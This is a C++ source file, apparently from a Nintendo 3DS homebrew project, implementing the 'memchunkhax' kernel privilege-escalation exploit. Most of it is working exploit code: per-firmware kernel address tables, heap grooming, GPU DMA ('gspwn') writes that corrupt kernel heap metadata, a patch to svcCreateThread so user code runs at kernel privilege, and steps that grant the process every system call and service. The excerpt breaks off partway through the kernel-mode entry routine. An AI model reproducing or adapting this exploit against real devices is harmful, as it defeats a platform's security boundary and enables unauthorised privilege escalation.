fc99395c |
1 | #include <3ds.h>\r |
2 | #include <cstddef>\r |
3 | #include <cstdint>\r |
4 | #include <cstdio>\r |
5 | #include <cstdlib>\r |
6 | #include <cstring>\r |
7 | #include <limits>\r |
8 | \r |
9 | #include "khax.h"\r |
10 | #include "khaxinternal.h"\r |
11 | \r |
12 | //------------------------------------------------------------------------------------------------\r |
13 | namespace KHAX\r |
14 | {\r |
15 | //------------------------------------------------------------------------------------------------\r |
16 | // Kernel and hardware version information.\r |
17 | struct VersionData\r |
18 | {\r |
19 | // New 3DS?\r |
20 | bool m_new3DS;\r |
21 | // Kernel version number\r |
22 | u32 m_kernelVersion;\r |
23 | // Nominal version number lower bound (for informational purposes only)\r |
24 | u32 m_nominalVersion;\r |
25 | // Patch location in svcCreateThread\r |
26 | u32 m_threadPatchAddress;\r |
27 | // Original version of code at m_threadPatchAddress\r |
28 | static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r |
29 | // System call unlock patch location\r |
30 | u32 m_syscallPatchAddress;\r |
31 | // Kernel virtual address mapping of FCRAM\r |
32 | u32 m_fcramVirtualAddress;\r |
33 | // Physical mapping of FCRAM on this machine\r |
34 | static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r |
35 | // Physical size of FCRAM on this machine\r |
36 | u32 m_fcramSize;\r |
37 | // Address of KThread address in kernel (KThread **)\r |
38 | static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r |
39 | // Address of KProcess address in kernel (KProcess **)\r |
40 | static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r |
41 | // Pseudo-handle of the current KProcess.\r |
42 | static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r |
43 | // Returned pointers within a KProcess object. This abstracts out which particular\r |
44 | // version of the KProcess object is in use.\r |
45 | struct KProcessPointers\r |
46 | {\r |
47 | KSVCACL *m_svcAccessControl;\r |
48 | u32 *m_kernelFlags;\r |
49 | u32 *m_processID;\r |
50 | };\r |
51 | // Creates a KProcessPointers for this kernel version and pointer to the object.\r |
52 | KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r |
53 | \r |
54 | // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r |
55 | // address using the version-specific information in this table entry.\r |
56 | void *ConvertLinearUserVAToKernelVA(void *address) const;\r |
57 | \r |
58 | // Retrieve a VersionData for this kernel, or null if not recognized.\r |
59 | static const VersionData *GetForCurrentSystem();\r |
60 | \r |
61 | private:\r |
62 | // Implementation behind m_makeKProcessPointers.\r |
63 | template <typename KProcessType>\r |
64 | static KProcessPointers MakeKProcessPointers(void *kprocess);\r |
65 | \r |
66 | // Table of these.\r |
67 | static const VersionData s_versionTable[];\r |
68 | };\r |
69 | \r |
70 | //------------------------------------------------------------------------------------------------\r |
71 | // ARM11 kernel hack class.\r |
72 | class MemChunkHax\r |
73 | {\r |
74 | public:\r |
75 | // Construct using the version information for the current system.\r |
76 | MemChunkHax(const VersionData *versionData)\r |
77 | : m_versionData(versionData),\r |
78 | m_nextStep(1),\r |
79 | m_corrupted(0),\r |
80 | m_overwriteMemory(nullptr),\r |
81 | m_overwriteAllocated(0),\r |
82 | m_extraLinear(nullptr)\r |
83 | {\r |
84 | s_instance = this;\r |
85 | }\r |
86 | \r |
87 | // Free memory and such.\r |
88 | ~MemChunkHax();\r |
89 | \r |
90 | // Umm, don't copy this class.\r |
91 | MemChunkHax(const MemChunkHax &) = delete;\r |
92 | MemChunkHax &operator =(const MemChunkHax &) = delete;\r |
93 | \r |
94 | // Basic initialization.\r |
95 | Result Step1_Initialize();\r |
96 | // Allocate linear memory for the memchunkhax operation.\r |
97 | Result Step2_AllocateMemory();\r |
98 | // Free the second and fourth pages of the five.\r |
99 | Result Step3_SurroundFree();\r |
100 | // Verify that the freed heap blocks' data matches our expected layout.\r |
101 | Result Step4_VerifyExpectedLayout();\r |
102 | // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r |
103 | Result Step5_CorruptCreateThread();\r |
104 | // Execute svcCreateThread to execute code at SVC privilege.\r |
105 | Result Step6_ExecuteSVCCode();\r |
106 | // Grant access to all services.\r |
107 | Result Step7_GrantServiceAccess();\r |
108 | \r |
109 | private:\r |
110 | // SVC-mode entry point thunk (true entry point).\r |
111 | static Result Step6a_SVCEntryPointThunk();\r |
112 | // SVC-mode entry point.\r |
113 | Result Step6b_SVCEntryPoint();\r |
114 | // Undo the code patch that Step5_CorruptCreateThread did.\r |
115 | Result Step6c_UndoCreateThreadPatch();\r |
116 | // Fix the heap corruption caused as a side effect of step 5.\r |
117 | Result Step6d_FixHeapCorruption();\r |
118 | // Grant our process access to all system calls, including svcBackdoor.\r |
119 | Result Step6e_GrantSVCAccess();\r |
120 | // Flush instruction and data caches.\r |
121 | Result Step6f_FlushCaches();\r |
122 | // Patch the process ID to 0. Runs as svcBackdoor.\r |
123 | static Result Step7a_PatchPID();\r |
124 | // Restore the original PID. Runs as svcBackdoor.\r |
125 | static Result Step7b_UnpatchPID();\r |
126 | \r |
127 | // Helper for dumping memory to SD card.\r |
128 | template <std::size_t S>\r |
129 | bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r |
130 | \r |
131 | // Result returned by hacked svcCreateThread upon success.\r |
132 | static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r |
133 | \r |
134 | // Version information.\r |
135 | const VersionData *const m_versionData;\r |
136 | // Next step number.\r |
137 | int m_nextStep;\r |
138 | // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r |
139 | int m_corrupted;\r |
140 | \r |
141 | // Free block structure in the kernel, the one used in the memchunkhax exploit.\r |
142 | struct HeapFreeBlock\r |
143 | {\r |
144 | int m_count;\r |
145 | HeapFreeBlock *m_next;\r |
146 | HeapFreeBlock *m_prev;\r |
147 | int m_unknown1;\r |
148 | int m_unknown2;\r |
149 | };\r |
150 | \r |
151 | // The layout of a memory page.\r |
152 | union Page\r |
153 | {\r |
154 | unsigned char m_bytes[4096];\r |
155 | HeapFreeBlock m_freeBlock;\r |
156 | };\r |
157 | \r |
158 | // The linear memory allocated for the memchunkhax overwrite.\r |
159 | struct OverwriteMemory\r |
160 | {\r |
161 | union\r |
162 | {\r |
163 | unsigned char m_bytes[6 * 4096];\r |
164 | Page m_pages[6];\r |
165 | };\r |
166 | };\r |
167 | OverwriteMemory *m_overwriteMemory;\r |
168 | unsigned m_overwriteAllocated;\r |
169 | \r |
170 | // Additional linear memory buffer for temporary purposes.\r |
171 | union ExtraLinearMemory\r |
172 | {\r |
173 | ALIGN(64) unsigned char m_bytes[64];\r |
174 | // When interpreting as a HeapFreeBlock.\r |
175 | HeapFreeBlock m_freeBlock;\r |
176 | };\r |
177 | // Must be a multiple of 16 for use with gspwn.\r |
178 | static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r |
179 | ExtraLinearMemory *m_extraLinear;\r |
180 | \r |
181 | // Copy of the old ACL\r |
182 | KSVCACL m_oldACL;\r |
183 | \r |
184 | // Original process ID.\r |
185 | u32 m_originalPID;\r |
186 | \r |
187 | // Buffers for dumped data when debugging.\r |
188 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
189 | unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r |
190 | unsigned char m_savedKThread[sizeof(KThread)];\r |
191 | unsigned char m_savedThreadSVC[0x100];\r |
192 | #endif\r |
193 | \r |
194 | // Pointer to our instance.\r |
195 | static MemChunkHax *volatile s_instance;\r |
196 | };\r |
197 | \r |
198 | //------------------------------------------------------------------------------------------------\r |
199 | // Make an error code\r |
200 | inline Result MakeError(Result level, Result summary, Result module, Result error);\r |
201 | enum : Result { KHAX_MODULE = 254 };\r |
202 | // Check whether this system is a New 3DS.\r |
203 | Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r |
204 | // gspwn, meant for reading from or writing to freed buffers.\r |
205 | Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r |
206 | // Given a pointer to a structure that is a member of another structure,\r |
207 | // return a pointer to the outer structure. Inspired by Windows macro.\r |
208 | template <typename Outer, typename Inner>\r |
209 | Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r |
210 | }\r |
211 | \r |
212 | \r |
213 | //------------------------------------------------------------------------------------------------\r |
214 | //\r |
215 | // Class VersionData\r |
216 | //\r |
217 | \r |
218 | //------------------------------------------------------------------------------------------------\r |
219 | // Creates a KProcessPointers for this kernel version and pointer to the object.\r |
220 | template <typename KProcessType>\r |
221 | KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r |
222 | {\r |
223 | KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r |
224 | \r |
225 | KProcessPointers result;\r |
226 | result.m_svcAccessControl = &kproc->m_svcAccessControl;\r |
227 | result.m_processID = &kproc->m_processID;\r |
228 | result.m_kernelFlags = &kproc->m_kernelFlags;\r |
229 | return result;\r |
230 | }\r |
231 | \r |
232 | //------------------------------------------------------------------------------------------------\r |
233 | // System version table\r |
234 | const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r |
235 | {\r |
236 | #define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r |
237 | \r |
238 | // Old 3DS, old address layout\r |
239 | { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
240 | { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
241 | { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
242 | { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
243 | { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
244 | { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
245 | { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r |
246 | // Old 3DS, new address layout\r |
247 | { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r |
248 | { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r |
249 | // New 3DS\r |
250 | { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r |
251 | { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r |
252 | \r |
253 | #undef KPROC_FUNC\r |
254 | };\r |
255 | \r |
256 | //------------------------------------------------------------------------------------------------\r |
257 | // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r |
258 | // address using the version-specific information in this table entry.\r |
259 | void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r |
260 | {\r |
261 | static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r |
262 | "you're sure that this is a 3DS?");\r |
263 | \r |
264 | // Need the pointer as an integer.\r |
265 | u32 addr = reinterpret_cast<u32>(address);\r |
266 | \r |
267 | // Convert the address to a physical address, since that's how we know the mapping.\r |
268 | u32 physical = osConvertVirtToPhys(addr);\r |
269 | if (physical == 0)\r |
270 | {\r |
271 | return nullptr;\r |
272 | }\r |
273 | \r |
274 | // Verify that the address is within FCRAM.\r |
275 | if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r |
276 | {\r |
277 | return nullptr;\r |
278 | }\r |
279 | \r |
280 | // Now we can convert.\r |
281 | return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r |
282 | }\r |
283 | \r |
284 | //------------------------------------------------------------------------------------------------\r |
285 | // Retrieve a VersionData for this kernel, or null if not recognized.\r |
286 | const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r |
287 | {\r |
288 | // Get kernel version for comparison.\r |
289 | u32 kernelVersion = osGetKernelVersion();\r |
290 | \r |
291 | // Determine whether this is a New 3DS.\r |
292 | bool isNew3DS;\r |
293 | if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r |
294 | {\r |
295 | return nullptr;\r |
296 | }\r |
297 | \r |
298 | // Search our list for a match.\r |
299 | for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r |
300 | {\r |
301 | // New 3DS flag must match.\r |
302 | if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r |
303 | {\r |
304 | continue;\r |
305 | }\r |
306 | // Kernel version must match.\r |
307 | if (entry->m_kernelVersion != kernelVersion)\r |
308 | {\r |
309 | continue;\r |
310 | }\r |
311 | \r |
312 | return entry;\r |
313 | }\r |
314 | \r |
315 | return nullptr;\r |
316 | }\r |
317 | \r |
318 | \r |
319 | //------------------------------------------------------------------------------------------------\r |
320 | //\r |
321 | // Class MemChunkHax\r |
322 | //\r |
323 | \r |
324 | //------------------------------------------------------------------------------------------------\r |
325 | KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r |
326 | \r |
327 | //------------------------------------------------------------------------------------------------\r |
328 | // Basic initialization.\r |
329 | Result KHAX::MemChunkHax::Step1_Initialize()\r |
330 | {\r |
331 | if (m_nextStep != 1)\r |
332 | {\r |
333 | KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r |
334 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
335 | }\r |
336 | \r |
337 | // Nothing to do in current implementation.\r |
338 | ++m_nextStep;\r |
339 | return 0;\r |
340 | }\r |
341 | \r |
342 | //------------------------------------------------------------------------------------------------\r |
343 | // Allocate linear memory for the memchunkhax operation.\r |
344 | Result KHAX::MemChunkHax::Step2_AllocateMemory()\r |
345 | {\r |
346 | if (m_nextStep != 2)\r |
347 | {\r |
348 | KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r |
349 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
350 | }\r |
351 | \r |
352 | // Allocate the linear memory for the overwrite process.\r |
353 | u32 address = 0xFFFFFFFF;\r |
354 | Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r |
355 | static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r |
356 | \r |
357 | KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r |
358 | \r |
359 | if (result != 0)\r |
360 | {\r |
361 | return result;\r |
362 | }\r |
363 | \r |
364 | m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r |
365 | m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now\r |
366 | \r |
367 | // Why didn't we get a page-aligned address?!\r |
368 | if (address & 0xFFF)\r |
369 | {\r |
370 | // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r |
371 | KHAX_printf("Step2:misaligned memory\n");\r |
372 | return MakeError(26, 7, KHAX_MODULE, 1009);\r |
373 | }\r |
374 | \r |
375 | // Allocate extra memory that we'll need.\r |
376 | m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r |
377 | alignof(*m_extraLinear)));\r |
378 | if (!m_extraLinear)\r |
379 | {\r |
380 | KHAX_printf("Step2:failed extra alloc\n");\r |
381 | return MakeError(26, 3, KHAX_MODULE, 1011);\r |
382 | }\r |
383 | KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r |
384 | \r |
385 | // OK, we're good here.\r |
386 | ++m_nextStep;\r |
387 | return 0;\r |
388 | }\r |
389 | \r |
390 | //------------------------------------------------------------------------------------------------\r |
391 | // Free the second and fourth pages of the five.\r |
392 | Result KHAX::MemChunkHax::Step3_SurroundFree()\r |
393 | {\r |
394 | if (m_nextStep != 3)\r |
395 | {\r |
396 | KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r |
397 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
398 | }\r |
399 | \r |
400 | // We do this because the exploit involves triggering a heap coalesce. We surround a heap\r |
401 | // block (page) with two freed pages, then free the middle page. By controlling both outside\r |
402 | // pages, we know their addresses, and can fix up the corrupted heap afterward.\r |
403 | //\r |
404 | // Here's what the heap will look like after step 3:\r |
405 | //\r |
406 | // ___XX-X-X___\r |
407 | //\r |
408 | // _ = unknown (could be allocated and owned by other code)\r |
409 | // X = allocated\r |
410 | // - = allocated then freed by us\r |
411 | //\r |
412 | // In step 4, we will free the second page:\r |
413 | //\r |
414 | // ___X--X-X___\r |
415 | //\r |
416 | // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's\r |
417 | // "previous" pointer will be set to point to the second page rather than the third. We will\r |
418 | // use gspwn to make that overwrite kernel code instead.\r |
419 | //\r |
420 | // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r |
421 | // sandbox to play in. In particular, we can use this design to determine the address of the\r |
422 | // next block--by controlling the location of the next block.\r |
423 | u32 dummy;\r |
424 | \r |
425 | // Free the third page.\r |
426 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r |
427 | sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
428 | {\r |
429 | KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r |
430 | return result;\r |
431 | }\r |
432 | m_overwriteAllocated &= ~(1u << 2);\r |
433 | \r |
434 | // Free the fifth page.\r |
435 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r |
436 | sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
437 | {\r |
438 | KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r |
439 | return result;\r |
440 | }\r |
441 | m_overwriteAllocated &= ~(1u << 4);\r |
442 | \r |
443 | // Attempt to write to remaining pages.\r |
444 | //KHAX_printf("Step2:probing page [0]\n");\r |
445 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r |
446 | //KHAX_printf("Step2:probing page [1]\n");\r |
447 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r |
448 | //KHAX_printf("Step2:probing page [3]\n");\r |
449 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r |
450 | //KHAX_printf("Step2:probing page [5]\n");\r |
451 | *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r |
452 | KHAX_printf("Step3:probing done\n");\r |
453 | \r |
454 | // Done.\r |
455 | ++m_nextStep;\r |
456 | return 0;\r |
457 | }\r |
458 | \r |
459 | //------------------------------------------------------------------------------------------------\r |
460 | // Verify that the freed heap blocks' data matches our expected layout.\r |
461 | Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r |
462 | {\r |
463 | if (m_nextStep != 4)\r |
464 | {\r |
465 | KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r |
466 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
467 | }\r |
468 | \r |
469 | // Copy the first freed page (third page) out to read its heap metadata.\r |
470 | std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r |
471 | \r |
472 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r |
473 | sizeof(*m_extraLinear)))\r |
474 | {\r |
475 | KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r |
476 | return result;\r |
477 | }\r |
478 | \r |
479 | // Debug information about the memory block\r |
480 | KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r |
481 | ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r |
482 | KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r |
483 | m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r |
484 | \r |
485 | // The next page from the third should equal the fifth page.\r |
486 | if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r |
487 | &m_overwriteMemory->m_pages[4]))\r |
488 | {\r |
489 | KHAX_printf("Step4:[2]->next != [4]\n");\r |
490 | KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r |
491 | m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r |
492 | &m_overwriteMemory->m_pages[4]);\r |
493 | return MakeError(26, 5, KHAX_MODULE, 1014);\r |
494 | }\r |
495 | \r |
496 | // Copy the second freed page (fifth page) out to read its heap metadata.\r |
497 | std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r |
498 | \r |
499 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r |
500 | sizeof(*m_extraLinear)))\r |
501 | {\r |
502 | KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r |
503 | return result;\r |
504 | }\r |
505 | \r |
506 | KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r |
507 | ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r |
508 | KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r |
509 | m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r |
510 | \r |
511 | // The previous page from the fifth should equal the third page.\r |
512 | if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r |
513 | &m_overwriteMemory->m_pages[2]))\r |
514 | {\r |
515 | KHAX_printf("Step4:[4]->prev != [2]\n");\r |
516 | KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r |
517 | m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r |
518 | &m_overwriteMemory->m_pages[2]);\r |
519 | return MakeError(26, 5, KHAX_MODULE, 1014);\r |
520 | }\r |
521 | \r |
522 | // Validation successful\r |
523 | ++m_nextStep;\r |
524 | return 0;\r |
525 | }\r |
526 | \r |
527 | //------------------------------------------------------------------------------------------------\r |
528 | // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r |
529 | Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r |
530 | {\r |
531 | if (m_nextStep != 5)\r |
532 | {\r |
533 | KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r |
534 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
535 | }\r |
536 | \r |
537 | // Read the memory page we're going to gspwn.\r |
538 | if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r |
539 | sizeof(*m_extraLinear)))\r |
540 | {\r |
541 | KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r |
542 | return result;\r |
543 | }\r |
544 | \r |
545 | // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r |
546 | // corrupt certain instructions. The result will be that calling svcCreateThread will result\r |
547 | // in executing our code.\r |
548 | // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r |
549 | // That is, the overwrite adds this offset back in.\r |
550 | m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r |
551 | m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r |
552 | \r |
553 | // Do the GSPwn, the actual exploit we've been waiting for.\r |
554 | if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r |
555 | sizeof(*m_extraLinear)))\r |
556 | {\r |
557 | KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r |
558 | return result;\r |
559 | }\r |
560 | \r |
561 | // The heap is now corrupted in two ways (Step6 explains why two ways).\r |
562 | m_corrupted += 2;\r |
563 | \r |
564 | KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r |
565 | \r |
566 | // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third\r |
567 | // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r |
568 | u32 dummy;\r |
569 | if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r |
570 | 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r |
571 | {\r |
572 | KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r |
573 | return result;\r |
574 | }\r |
575 | m_overwriteAllocated &= ~(1u << 1);\r |
576 | \r |
577 | // We have an additional layer of instability because of the kernel code overwrite.\r |
578 | ++m_corrupted;\r |
579 | \r |
580 | KHAX_printf("Step5:svcCreateThread now hacked\n");\r |
581 | \r |
582 | ++m_nextStep;\r |
583 | return 0;\r |
584 | }\r |
585 | \r |
586 | //------------------------------------------------------------------------------------------------\r |
587 | // Execute svcCreateThread to execute code at SVC privilege.\r |
588 | Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r |
589 | {\r |
590 | if (m_nextStep != 6)\r |
591 | {\r |
592 | KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r |
593 | return MakeError(28, 5, KHAX_MODULE, 1016);\r |
594 | }\r |
595 | \r |
596 | // Call svcCreateThread such that r0 is the desired exploit function. Note that the\r |
597 | // parameters to the usual system call thunk are rearranged relative to the actual system call\r |
598 | // - the thread priority parameter is actually the one that goes into r0. In addition, we\r |
599 | // want to pass other parameters that make for an illegal thread creation request, because the\r |
600 | // rest of the thread creation SVC occurs before the hacked code gets executed. We want the\r |
601 | // thread creation request to fail, then the hack to grant us control. Processor ID\r |
602 | // 0x7FFFFFFF seems to do the trick here.\r |
603 | Handle dummyHandle;\r |
604 | Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r |
605 | Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r |
606 | \r |
607 | KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r |
608 | \r |
609 | if (result != STEP6_SUCCESS_RESULT)\r |
610 | {\r |
611 | // If the result was 0, something actually went wrong.\r |
612 | if (result == 0)\r |
613 | {\r |
614 | result = MakeError(27, 11, KHAX_MODULE, 1023);\r |
615 | }\r |
616 | \r |
617 | return result;\r |
618 | }\r |
619 | \r |
620 | #ifdef KHAX_DEBUG\r |
621 | char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r |
622 | char *sp = oldACLString;\r |
623 | for (unsigned char b : m_oldACL)\r |
624 | {\r |
625 | *sp++ = "0123456789abcdef"[b >> 4];\r |
626 | *sp++ = "0123456789abcdef"[b & 15];\r |
627 | }\r |
628 | *sp = '\0';\r |
629 | \r |
630 | KHAX_printf("oldACL:%s\n", oldACLString);\r |
631 | #endif\r |
632 | \r |
633 | ++m_nextStep;\r |
634 | return 0;\r |
635 | }\r |
636 | \r |
637 | //------------------------------------------------------------------------------------------------\r |
638 | // SVC-mode entry point thunk (true entry point).\r |
639 | #ifndef _MSC_VER\r |
640 | __attribute__((__naked__))\r |
641 | #endif\r |
642 | Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r |
643 | {\r |
644 | __asm__ volatile("add sp, sp, #8");\r |
645 | \r |
646 | register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r |
647 | \r |
648 | __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r |
649 | }\r |
650 | \r |
651 | //------------------------------------------------------------------------------------------------\r |
652 | // SVC-mode entry point.\r |
653 | #ifndef _MSC_VER\r |
654 | __attribute__((__noinline__))\r |
655 | #endif\r |
656 | Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r |
657 | {\r |
658 | if (Result result = Step6c_UndoCreateThreadPatch())\r |
659 | {\r |
660 | return result;\r |
661 | }\r |
662 | if (Result result = Step6d_FixHeapCorruption())\r |
663 | {\r |
664 | return result;\r |
665 | }\r |
666 | if (Result result = Step6e_GrantSVCAccess())\r |
667 | {\r |
668 | return result;\r |
669 | }\r |
670 | if (Result result = Step6f_FlushCaches())\r |
671 | {\r |
672 | return result;\r |
673 | }\r |
674 | \r |
